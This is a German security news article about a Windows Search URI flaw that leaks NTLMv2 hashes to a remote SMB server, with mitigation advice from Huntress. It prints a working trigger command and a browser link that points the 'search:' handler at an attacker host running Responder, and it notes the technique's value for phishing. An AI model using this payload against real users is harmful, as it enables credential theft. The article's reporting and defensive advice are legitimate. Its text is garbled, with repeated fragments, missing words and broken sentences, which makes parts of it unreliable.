Windows-Suchfehler enthüllt NTLMv2-Hashes an Angreifer

Die Tests wurden mit den Standardeinstellungen

Die Tests wurden mit den Standardeinstellungen spezielle Konfigurationen für Entwickler- oder AppX-Apps durchgeführt. Zur Auslösung reicht folgende Eingabe in einer Befehlszeile aus: `start "" "search:query=test&crumb=location:\10.0.1.100\ "` Es ist entscheidend, dass die Anführungszeichen sowie der Wrapper „start """ verwendet werden.

Fehlen diese, interpretiert die Befehlszeile das „&"-Zeichen als Trennzeichen für Befehle, wodurch die Payload abbricht. Nach erfolgreicher Auslösung zeigt Windows zunächst ein Fehlerdialogfenster Stil von „Zugriff verweigert". Dies erscheint jedoch erst, nachdem der NTLMv2-Hash bereits an den entfernten Server gesendet wurde.

Die Hash-Leakage tritt nur bei der ersten Aufruf pro Anmeldung auf. Nachfolgende Versuche führen erneut zu einer „Zugriff verweigert"-Nachricht, bis der Benutzer sich abmeldet und sich neu anmeldet. Für Phishing-Angriffe reicht dieser erste Klick bereits aus. Wichtig ist, dass die Auslösung nicht auf manuell eingegebene Befehle beschränkt ist.

Technischer Hintergrund

Das Einbetten eines Links wie „click:search:query=test&crumb=location:\10.0.1.100\ " in einem Browser wie Microsoft Edge löst beim einfachen Laden der URI eine SMB-Authentifizierung aus. Dabei wird der Hash an einen Angreifer übermittelt, der Responder auf einem entfernten Host ausgeführt hat.

Hinter den Kulissen sind sowohl „search" als auch „search-ms" separat Windows-Registrierungs-Verzeichnis HKCR registriert. Diese verweist auf die COM-Klasse SearchExecute (CLSID_SearchMSExecute) in der Datei ExplorerFrame.dll. Daraus folgt, dass beide URI-Schemata denselben COM-Aktivierungsweg durchlaufen.

Eine fehlende Eingabevalidierung in der SearchExecute-Klasse wirkt sich daher auf beide gleichermaßen aus. Eine echte Lösung muss demnach in der SearchExecute-Klasse oder in der Suchverarbeitung, nicht lediglich auf der Ebene der URI-Registrierung.

Sicherheitslage und Risiko

Bereits 2024 dokumentierte Varonis eine Spur, die eine über UNC-basierte NTLM-Leakage mittels „search-ms" aufdeckte. Trellix hatte 2023 die „search:"-Schnittstelle als Angriffsfläche identifiziert. Allerdings scheint die spezifische Kombination aus bloßer Suche mit dem Parameter „crumb=location:" für NTLM-Lecks in öffentlichen Berichten neu zu sein.

CVE-2026-33829 und das ören derselben Schwachstellenklasse an (NTLM-Leakage über URI-Handler). Sie weisen denselben effektiven CVSS-Vektor auf: AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N. Beide werden als Schwachstellen mittlerer Auswirkung bewertet. Trotz dieser hnlichkeit entschied sich Microsoft, das Snipping Tool zu patchen und ein CVE zuzuweisen.

Den Suchfall hingegen schloss das Unternehmen als „unterhalb der Wartungsschwelle" ab. Microsoft beschrieb die Wartung explizit als „fallbezogen". Huntress empfiehlt stattdessen, ausgehende SMB-Verbindungen (TCP 445 und 139) auf Hosts zu blocken, die diese nicht benötigen.

Dies gilt als die einzelne Maßnahme

Dies gilt als die einzelne Maßnahme mit dem höchsten Wert für die gesamte Klasse der NTLM-Lecks. Zusätzliche Maßnahmen zur Reduzierung der Exposition gegenüber dieser Klasse der SMB-Signierung sowie die Einschränkung oder Deaktivierung durch die Einstellung von „RestrictSendingNTLMTraffic" auf den Wert 2 nach sorgfältiger Prüfung erreicht werden.

Zudem können Alarme bei URIs der Art „search:" und „search-ms:" Mail- und Proxy-Logs die Sichtbarkeit dieser Angriffsvektoren erhöhen. Abi ist Sicherheitsredakteurin und Reporterin bei